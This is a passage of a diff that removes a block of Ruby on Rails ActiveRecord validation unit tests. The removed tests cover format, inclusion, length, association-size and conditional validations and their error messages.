-    assert_equal "has already been taken", w3.errors.on(:name), "Should have uniqueness message for name"
-
-    w4 = Conjurer.create(:name => "The Amazing Bonko", :city => "Quirm")
-    assert w4.valid?, "Saving w4"
-
-    w5 = Thaumaturgist.new(:name => "The Amazing Bonko", :city => "Lancre")
-    assert !w5.valid?, "w5 shouldn't be valid"
-    assert w5.errors.on(:name), "Should have errors for name"
-    assert_equal "has already been taken", w5.errors.on(:name), "Should have uniqueness message for name"
-
-    w6 = Thaumaturgist.new(:name => "Mustrum Ridcully", :city => "Quirm")
-    assert !w6.valid?, "w6 shouldn't be valid"
-    assert w6.errors.on(:city), "Should have errors for city"
-    assert_equal "has already been taken", w6.errors.on(:city), "Should have uniqueness message for city"
-  end
-
-  def test_validate_format
-    Topic.validates_format_of(:title, :content, :with => /^Validation\smacros \w+!$/, :message => "is bad data")
-
-    t = Topic.create("title" => "i'm incorrect", "content" => "Validation macros rule!")
-    assert !t.valid?, "Shouldn't be valid"
-    assert !t.save, "Shouldn't save because it's invalid"
-    assert_equal "is bad data", t.errors.on(:title)
-    assert_nil t.errors.on(:content)
-
-    t.title = "Validation macros rule!"
-
-    assert t.save
-    assert_nil t.errors.on(:title)
-
-    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :content) }
-  end
-
-  def test_validate_format_with_allow_blank
-    Topic.validates_format_of(:title, :with => /^Validation\smacros \w+!$/, :allow_blank=>true)
-    assert !Topic.create("title" => "Shouldn't be valid").valid?
-    assert Topic.create("title" => "").valid?
-    assert Topic.create("title" => nil).valid?
-    assert Topic.create("title" => "Validation macros rule!").valid?
-  end
-
-  # testing ticket #3142
-  def test_validate_format_numeric
-    Topic.validates_format_of(:title, :content, :with => /^[1-9][0-9]*$/, :message => "is bad data")
-
-    t = Topic.create("title" => "72x", "content" => "6789")
-    assert !t.valid?, "Shouldn't be valid"
-    assert !t.save, "Shouldn't save because it's invalid"
-    assert_equal "is bad data", t.errors.on(:title)
-    assert_nil t.errors.on(:content)
-
-    t.title = "-11"
-    assert !t.valid?, "Shouldn't be valid"
-
-    t.title = "03"
-    assert !t.valid?, "Shouldn't be valid"
-
-    t.title = "z44"
-    assert !t.valid?, "Shouldn't be valid"
-
-    t.title = "5v7"
-    assert !t.valid?, "Shouldn't be valid"
-
-    t.title = "1"
-
-    assert t.save
-    assert_nil t.errors.on(:title)
-  end
-
-  def test_validate_format_with_formatted_message
-    Topic.validates_format_of(:title, :with => /^Valid Title$/, :message => "can't be %{value}")
-    t = Topic.create(:title => 'Invalid title')
-    assert_equal "can't be Invalid title", t.errors.on(:title)
-  end
-
-  def test_validates_inclusion_of
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ) )
-
-    assert !Topic.create("title" => "a!", "content" => "abc").valid?
-    assert !Topic.create("title" => "a b", "content" => "abc").valid?
-    assert !Topic.create("title" => nil, "content" => "def").valid?
-
-    t = Topic.create("title" => "a", "content" => "I know you are but what am I?")
-    assert t.valid?
-    t.title = "uhoh"
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is not included in the list", t.errors["title"]
-
-    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => nil ) }
-    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => 0) }
-
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => "hi!" ) }
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => {} ) }
-    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => [] ) }
-  end
-
-  def test_validates_inclusion_of_with_allow_nil
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :allow_nil=>true )
-
-    assert !Topic.create("title" => "a!", "content" => "abc").valid?
-    assert !Topic.create("title" => "", "content" => "abc").valid?
-    assert Topic.create("title" => nil, "content" => "abc").valid?
-  end
-
-  def test_numericality_with_getter_method
-    repair_validations(Developer) do
-      Developer.validates_numericality_of( :salary )
-      developer = Developer.new("name" => "michael", "salary" => nil)
-      developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
-      assert developer.valid?
-    end
-  end
-
-  def test_validates_length_of_with_allow_nil
-    Topic.validates_length_of( :title, :is => 5, :allow_nil=>true )
-
-    assert !Topic.create("title" => "ab").valid?
-    assert !Topic.create("title" => "").valid?
-    assert Topic.create("title" => nil).valid?
-    assert Topic.create("title" => "abcde").valid?
-  end
-
-  def test_validates_length_of_with_allow_blank
-    Topic.validates_length_of( :title, :is => 5, :allow_blank=>true )
-
-    assert !Topic.create("title" => "ab").valid?
-    assert Topic.create("title" => "").valid?
-    assert Topic.create("title" => nil).valid?
-    assert Topic.create("title" => "abcde").valid?
-  end
-
-  def test_validates_inclusion_of_with_formatted_message
-    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :message => "option %{value} is not in the list" )
-
-    assert Topic.create("title" => "a", "content" => "abc").valid?
-
-    t = Topic.create("title" => "uhoh", "content" => "abc")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "option uhoh is not in the list", t.errors["title"]
-  end
-
-  def test_numericality_with_allow_nil_and_getter_method
-    repair_validations(Developer) do
-      Developer.validates_numericality_of( :salary, :allow_nil => true)
-      developer = Developer.new("name" => "michael", "salary" => nil)
-      developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
-      assert developer.valid?
-    end
-  end
-
-  def test_validates_exclusion_of
-    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ) )
-
-    assert Topic.create("title" => "something", "content" => "abc").valid?
-    assert !Topic.create("title" => "monkey", "content" => "abc").valid?
-  end
-
-  def test_validates_exclusion_of_with_formatted_message
-    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ), :message => "option %{value} is restricted" )
-
-    assert Topic.create("title" => "something", "content" => "abc")
-
-    t = Topic.create("title" => "monkey")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "option monkey is restricted", t.errors["title"]
-  end
-
-  def test_validates_length_of_using_minimum
-    Topic.validates_length_of :title, :minimum => 5
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = "not"
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
-
-    t.title = ""
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
-
-    t.title = nil
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
-  end
-
-  def test_optionally_validates_length_of_using_minimum
-    Topic.validates_length_of :title, :minimum => 5, :allow_nil => true
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = nil
-    assert t.valid?
-  end
-
-  def test_validates_length_of_using_maximum
-    Topic.validates_length_of :title, :maximum => 5
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = "notvalid"
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is too long (maximum is 5 characters)", t.errors["title"]
-
-    t.title = ""
-    assert t.valid?
-
-    t.title = nil
-    assert !t.valid?
-  end
-
-  def test_optionally_validates_length_of_using_maximum
-    Topic.validates_length_of :title, :maximum => 5, :allow_nil => true
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = nil
-    assert t.valid?
-  end
-
-  def test_validates_length_of_using_within
-    Topic.validates_length_of(:title, :content, :within => 3..5)
-
-    t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
-    assert !t.valid?
-    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
-    assert_equal "is too long (maximum is 5 characters)", t.errors.on(:content)
-
-    t.title = nil
-    t.content = nil
-    assert !t.valid?
-    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
-    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:content)
-
-    t.title = "abe"
-    t.content  = "mad"
-    assert t.valid?
-  end
-
-  def test_optionally_validates_length_of_using_within
-    Topic.validates_length_of :title, :content, :within => 3..5, :allow_nil => true
-
-    t = Topic.create('title' => 'abc', 'content' => 'abcd')
-    assert t.valid?
-
-    t.title = nil
-    assert t.valid?
-  end
-
-  def test_optionally_validates_length_of_using_within_on_create
-    Topic.validates_length_of :title, :content, :within => 5..10, :on => :create, :too_long => "my string is too long: %{count}"
-
-    t = Topic.create("title" => "thisisnotvalid", "content" => "whatever")
-    assert !t.save
-    assert t.errors.on(:title)
-    assert_equal "my string is too long: 10", t.errors[:title]
-
-    t.title = "butthisis"
-    assert t.save
-
-    t.title = "few"
-    assert t.save
-
-    t.content = "andthisislong"
-    assert t.save
-
-    t.content = t.title = "iamfine"
-    assert t.save
-  end
-
-  def test_optionally_validates_length_of_using_within_on_update
-    Topic.validates_length_of :title, :content, :within => 5..10, :on => :update, :too_short => "my string is too short: %{count}"
-
-    t = Topic.create("title" => "vali", "content" => "whatever")
-    assert !t.save
-    assert t.errors.on(:title)
-
-    t.title = "not"
-    assert !t.save
-    assert t.errors.on(:title)
-    assert_equal "my string is too short: 5", t.errors[:title]
-
-    t.title = "valid"
-    t.content = "andthisistoolong"
-    assert !t.save
-    assert t.errors.on(:content)
-
-    t.content = "iamfine"
-    assert t.save
-  end
-
-  def test_validates_length_of_using_is
-    Topic.validates_length_of :title, :is => 5
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = "notvalid"
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "is the wrong length (should be 5 characters)", t.errors["title"]
-
-    t.title = ""
-    assert !t.valid?
-
-    t.title = nil
-    assert !t.valid?
-  end
-
-  def test_optionally_validates_length_of_using_is
-    Topic.validates_length_of :title, :is => 5, :allow_nil => true
-
-    t = Topic.create("title" => "valid", "content" => "whatever")
-    assert t.valid?
-
-    t.title = nil
-    assert t.valid?
-  end
-
-  def test_validates_length_of_using_bignum
-    bigmin = 2 ** 30
-    bigmax = 2 ** 32
-    bigrange = bigmin...bigmax
-    assert_nothing_raised do
-      Topic.validates_length_of :title, :is => bigmin + 5
-      Topic.validates_length_of :title, :within => bigrange
-      Topic.validates_length_of :title, :in => bigrange
-      Topic.validates_length_of :title, :minimum => bigmin
-      Topic.validates_length_of :title, :maximum => bigmax
-    end
-  end
-
-  def test_validates_length_with_globally_modified_error_message
-    defaults = ActiveSupport::Deprecation.silence { ActiveRecord::Errors.default_error_messages }
-    original_message = defaults[:too_short]
-    defaults[:too_short] = 'tu est trops petit hombre %{count}'
-
-    Topic.validates_length_of :title, :minimum => 10
-    t = Topic.create(:title => 'too short')
-    assert !t.valid?
-
-    assert_equal 'tu est trops petit hombre 10', t.errors['title']
-
-  ensure
-    defaults[:too_short] = original_message
-  end
-
-  def test_validates_size_of_association
-    repair_validations(Owner) do
-      assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-      o = Owner.new('name' => 'nopets')
-      assert !o.save
-      assert o.errors.on(:pets)
-      pet = o.pets.build('name' => 'apet')
-      assert o.valid?
-    end
-  end
-
-  def test_validates_size_of_association_using_within
-    repair_validations(Owner) do
-      assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
-      o = Owner.new('name' => 'nopets')
-      assert !o.save
-      assert o.errors.on(:pets)
-
-      pet = o.pets.build('name' => 'apet')
-      assert o.valid?
-
-      2.times { o.pets.build('name' => 'apet') }
-      assert !o.save
-      assert o.errors.on(:pets)
-    end
-  end
-
-  def test_validates_length_of_nasty_params
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :minimum=>6, :maximum=>9) }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :maximum=>9) }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :minimum=>9) }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :is=>9) }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :minimum=>"a") }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :maximum=>"a") }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>"a") }
-    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :is=>"a") }
-  end
-
-  def test_validates_length_of_custom_errors_for_minimum_with_message
-    Topic.validates_length_of( :title, :minimum=>5, :message=>"boo %{count}" )
-    t = Topic.create("title" => "uhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "boo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_minimum_with_too_short
-    Topic.validates_length_of( :title, :minimum=>5, :too_short=>"hoo %{count}" )
-    t = Topic.create("title" => "uhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_maximum_with_message
-    Topic.validates_length_of( :title, :maximum=>5, :message=>"boo %{count}" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "boo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_in
-    Topic.validates_length_of(:title, :in => 10..20, :message => "hoo %{count}")
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 10", t.errors["title"]
-
-    t = Topic.create("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 20", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_maximum_with_too_long
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_is_with_message
-    Topic.validates_length_of( :title, :is=>5, :message=>"boo %{count}" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "boo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_custom_errors_for_is_with_wrong_length
-    Topic.validates_length_of( :title, :is=>5, :wrong_length=>"hoo %{count}" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_validates_length_of_using_minimum_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :minimum => 5
-
-      t = Topic.create("title" => "一二三四五", "content" => "whatever")
-      assert t.valid?
-
-      t.title = "一二三四"
-      assert !t.valid?
-      assert t.errors.on(:title)
-      assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
-    end
-  end
-
-  def test_validates_length_of_using_maximum_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :maximum => 5
-
-      t = Topic.create("title" => "一二三四五", "content" => "whatever")
-      assert t.valid?
-
-      t.title = "一二34五六"
-      assert !t.valid?
-      assert t.errors.on(:title)
-      assert_equal "is too long (maximum is 5 characters)", t.errors["title"]
-    end
-  end
-
-  def test_validates_length_of_using_within_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of(:title, :content, :within => 3..5)
-
-      t = Topic.new("title" => "一二", "content" => "12三四五六七")
-      assert !t.valid?
-      assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
-      assert_equal "is too long (maximum is 5 characters)", t.errors.on(:content)
-      t.title = "一二三"
-      t.content  = "12三"
-      assert t.valid?
-    end
-  end
-
-  def test_optionally_validates_length_of_using_within_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :within => 3..5, :allow_nil => true
-
-      t = Topic.create(:title => "一二三四五")
-      assert t.valid?, t.errors.inspect
-
-      t = Topic.create(:title => "一二三")
-      assert t.valid?, t.errors.inspect
-
-      t.title = nil
-      assert t.valid?, t.errors.inspect
-    end
-  end
-
-  def test_optionally_validates_length_of_using_within_on_create_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :within => 5..10, :on => :create, :too_long => "長すぎます: %{count}"
-
-      t = Topic.create("title" => "一二三四五六七八九十A", "content" => "whatever")
-      assert !t.save
-      assert t.errors.on(:title)
-      assert_equal "長すぎます: 10", t.errors[:title]
-
-      t.title = "一二三四五六七八九"
-      assert t.save
-
-      t.title = "一二3"
-      assert t.save
-
-      t.content = "一二三四五六七八九十"
-      assert t.save
-
-      t.content = t.title = "一二三四五六"
-      assert t.save
-    end
-  end
-
-  def test_optionally_validates_length_of_using_within_on_update_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :within => 5..10, :on => :update, :too_short => "短すぎます: %{count}"
-
-      t = Topic.create("title" => "一二三4", "content" => "whatever")
-      assert !t.save
-      assert t.errors.on(:title)
-
-      t.title = "1二三4"
-      assert !t.save
-      assert t.errors.on(:title)
-      assert_equal "短すぎます: 5", t.errors[:title]
-
-      t.title = "一二三四五六七八九十A"
-      assert !t.save
-      assert t.errors.on(:title)
-
-      t.title = "一二345"
-      assert t.save
-    end
-  end
-
-  def test_validates_length_of_using_is_utf8
-    with_kcode('UTF8') do
-      Topic.validates_length_of :title, :is => 5
-
-      t = Topic.create("title" => "一二345", "content" => "whatever")
-      assert t.valid?
-
-      t.title = "一二345六"
-      assert !t.valid?
-      assert t.errors.on(:title)
-      assert_equal "is the wrong length (should be 5 characters)", t.errors["title"]
-    end
-  end
-
-  def test_validates_length_of_with_block
-    Topic.validates_length_of :content, :minimum => 5, :too_short=>"Your essay must be at least %{count} words.",
-                                        :tokenizer => lambda {|str| str.scan(/\w+/) }
-    t = Topic.create!(:content => "this content should be long enough")
-    assert t.valid?
-
-    t.content = "not long enough"
-    assert !t.valid?
-    assert t.errors.on(:content)
-    assert_equal "Your essay must be at least 5 words.", t.errors[:content]
-  end
-
-  def test_validates_size_of_association_utf8
-    repair_validations(Owner) do
-      with_kcode('UTF8') do
-        assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
-        o = Owner.new('name' => 'あいうえおかきくけこ')
-        assert !o.save
-        assert o.errors.on(:pets)
-        o.pets.build('name' => 'あいうえおかきくけこ')
-        assert o.valid?
-      end
-    end
-  end
-
-  def test_validates_associated_many
-    Topic.validates_associated( :replies )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    t.replies << [r = Reply.new("title" => "A reply"), r2 = Reply.new("title" => "Another reply", "content" => "non-empty"), r3 = Reply.new("title" => "Yet another reply"), r4 = Reply.new("title" => "The last reply", "content" => "non-empty")]
-    assert !t.valid?
-    assert t.errors.on(:replies)
-    assert_equal 1, r.errors.count  # make sure all associated objects have been validated
-    assert_equal 0, r2.errors.count
-    assert_equal 1, r3.errors.count
-    assert_equal 0, r4.errors.count
-    r.content = r3.content = "non-empty"
-    assert t.valid?
-  end
-
-  def test_validates_associated_one
-    repair_validations(Reply) do
-      Reply.validates_associated( :topic )
-      Topic.validates_presence_of( :content )
-      r = Reply.new("title" => "A reply", "content" => "with content!")
-      r.topic = Topic.create("title" => "uhohuhoh")
-      assert !r.valid?
-      assert r.errors.on(:topic)
-      r.topic.content = "non-empty"
-      assert r.valid?
-    end
-  end
-
-  def test_validate_block
-    Topic.validate { |topic| topic.errors.add("title", "will never be valid") }
-    t = Topic.create("title" => "Title", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "will never be valid", t.errors["title"]
-  end
-
-  def test_invalid_validator
-    Topic.validate 3
-    assert_raise(ArgumentError) { t = Topic.create }
-  end
-
-  def test_throw_away_typing
-    d = Developer.new("name" => "David", "salary" => "100,000")
-    assert !d.valid?
-    assert_equal 100, d.salary
-    assert_equal "100,000", d.salary_before_type_cast
-  end
-
-  def test_validates_acceptance_of_with_custom_error_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_acceptance_of :salary, :message=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.salary = "0"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
-    end
-  end
-
-  def test_validates_confirmation_of_with_custom_error_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_confirmation_of :name, :message=> "confirm 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "John"
-      d.name_confirmation = "Johnny"
-      assert !d.valid?
-      assert_equal "confirm 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_format_of_with_custom_error_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_format_of :name, :with => /^(A-Z*)$/, :message=> "format 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = d.name_confirmation = "John 32"
-      assert !d.valid?
-      assert_equal "format 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_inclusion_of_with_custom_error_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_inclusion_of :salary, :in => 1000..80000, :message=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.salary = "90,000"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
-    end
-  end
-
-  def test_validates_length_of_with_custom_too_long_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_length_of :name, :maximum => 4, :too_long=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "Jeffrey"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_length_of_with_custom_too_short_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_length_of :name, :minimum => 4, :too_short=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "Joe"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_length_of_with_custom_message_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_length_of :name, :minimum => 4, :message=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "Joe"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_presence_of_with_custom_message_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_presence_of :non_existent, :message=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "Joe"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:non_existent)
-    end
-  end
-
-  def test_validates_uniqueness_of_with_custom_message_using_quotes
-    repair_validations(Developer) do
-      Developer.validates_uniqueness_of :name, :message=> "This string contains 'single' and \"double\" quotes"
-      d = Developer.new
-      d.name = "David"
-      assert !d.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name)
-    end
-  end
-
-  def test_validates_associated_with_custom_message_using_quotes
-    repair_validations(Reply) do
-      Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
-      Topic.validates_presence_of :content
-      r = Reply.create("title" => "A reply", "content" => "with content!")
-      r.topic = Topic.create("title" => "uhohuhoh")
-      assert !r.valid?
-      assert_equal "This string contains 'single' and \"double\" quotes", r.errors.on(:topic)
-    end
-  end
-
-  def test_if_validation_using_method_true
-    # When the method returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :if => :condition_is_true )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_unless_validation_using_method_true
-    # When the method returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :unless => :condition_is_true )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_if_validation_using_method_false
-    # When the method returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :if => :condition_is_true_but_its_not )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_unless_validation_using_method_false
-    # When the method returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :unless => :condition_is_true_but_its_not )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_if_validation_using_string_true
-    # When the evaluated string returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :if => "a = 1; a == 1" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_unless_validation_using_string_true
-    # When the evaluated string returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :unless => "a = 1; a == 1" )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_if_validation_using_string_false
-    # When the evaluated string returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :if => "false")
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_unless_validation_using_string_false
-    # When the evaluated string returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}", :unless => "false")
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_if_validation_using_block_true
-    # When the block returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}",
-      :if => Proc.new { |r| r.content.size > 4 } )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_unless_validation_using_block_true
-    # When the block returns true
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}",
-      :unless => Proc.new { |r| r.content.size > 4 } )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_if_validation_using_block_false
-    # When the block returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}",
-      :if => Proc.new { |r| r.title != "uhohuhoh"} )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert t.valid?
-    assert !t.errors.on(:title)
-  end
-
-  def test_unless_validation_using_block_false
-    # When the block returns false
-    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo %{count}",
-      :unless => Proc.new { |r| r.title != "uhohuhoh"} )
-    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
-    assert !t.valid?
-    assert t.errors.on(:title)
-    assert_equal "hoo 5", t.errors["title"]
-  end
-
-  def test_validates_associated_missing
-    repair_validations(Reply) do
-      Reply.validates_presence_of(:topic)
-      r = Reply.create("title" => "A reply", "content" => "with content!")
-      assert !r.valid?
-      assert r.errors.on(:topic)
-
-      r.topic = Topic.find :first
-      assert r.valid?
-    end
-  end
-
-  def test_errors_to_xml
-    r = Reply.new :title => "Wrong Create"
-    assert !r.valid?
-    xml = r.errors.to_xml(:skip_instruct => true)
-    assert_equal "<errors>", xml.first(8)
-    assert xml.include?("<error>Title is Wrong Create</error>")
-    assert xml.include?("<error>Content Empty</error>")
-  end
-
-  def test_validation_order
-    Topic.validates_presence_of :title, :author_name
-    Topic.validate {|topic| topic.errors.add('author_email_address', 'will never be valid')}
-    Topic.validates_length_of :title, :content, :minimum => 2
-
-    t = Topic.new :title => ''
-    t.valid?
-    e = t.errors.instance_variable_get '@errors'
-    assert_equal 'title', key = e.keys.first
-    assert_equal "can't be blank", t.errors.on(key).first
-    assert_equal 'is too short (minimum is 2 characters)', t.errors.on(key).second
-    assert_equal 'author_name', key = e.keys.second
-    assert_equal "can't be blank", t.errors.on(key)
-    assert_equal 'author_email_address', key = e.keys.third
-    assert_equal 'will never be valid', t.errors.on(key)
-    assert_equal 'content', key = e.keys.fourth
-    assert_equal 'is too short (minimum is 2 characters)', t.errors.on(key)
-  end
-
-  def test_invalid_should_be_the_opposite_of_valid
-    Topic.validates_presence_of :title
-
-    t = Topic.new
-    assert t.invalid?
-    assert t.errors.invalid?(:title)
-
-    t.title = 'Things are going to change'
-    assert !t.invalid?
-  end
-
-  # previous implementation of validates_presence_of eval'd the
-  # string with the wrong binding, this regression test is to
-  # ensure that it works correctly
-  def test_validation_with_if_as_string
-    Topic.validates_presence_of(:title)
-    Topic.validates_presence_of(:author_name, :if => "title.to_s.match('important')")
-
-    t = Topic.new
-    assert !t.valid?, "A topic without a title should not be valid"
-    assert !t.errors.invalid?("author_name"), "A topic without an 'important' title should not require an author"
-
-    t.title = "Just a title"
-    assert t.valid?, "A topic with a basic title should be valid"
-
-    t.title = "A very important title"
-    assert !t.valid?, "A topic with an important title, but without an author, should not be valid"
-    assert t.errors.invalid?("author_name"), "A topic with an 'important' title should require an author"
-
-    t.author_name = "Hubert J. Farnsworth"
-    assert t.valid?, "A topic with an important title and author should be valid"
-  end
-end
-
-
-class ValidatesNumericalityTest < ActiveRecord::TestCase
-  NIL = [nil]
-  BLANK = ["", " ", " \t \r \n"]
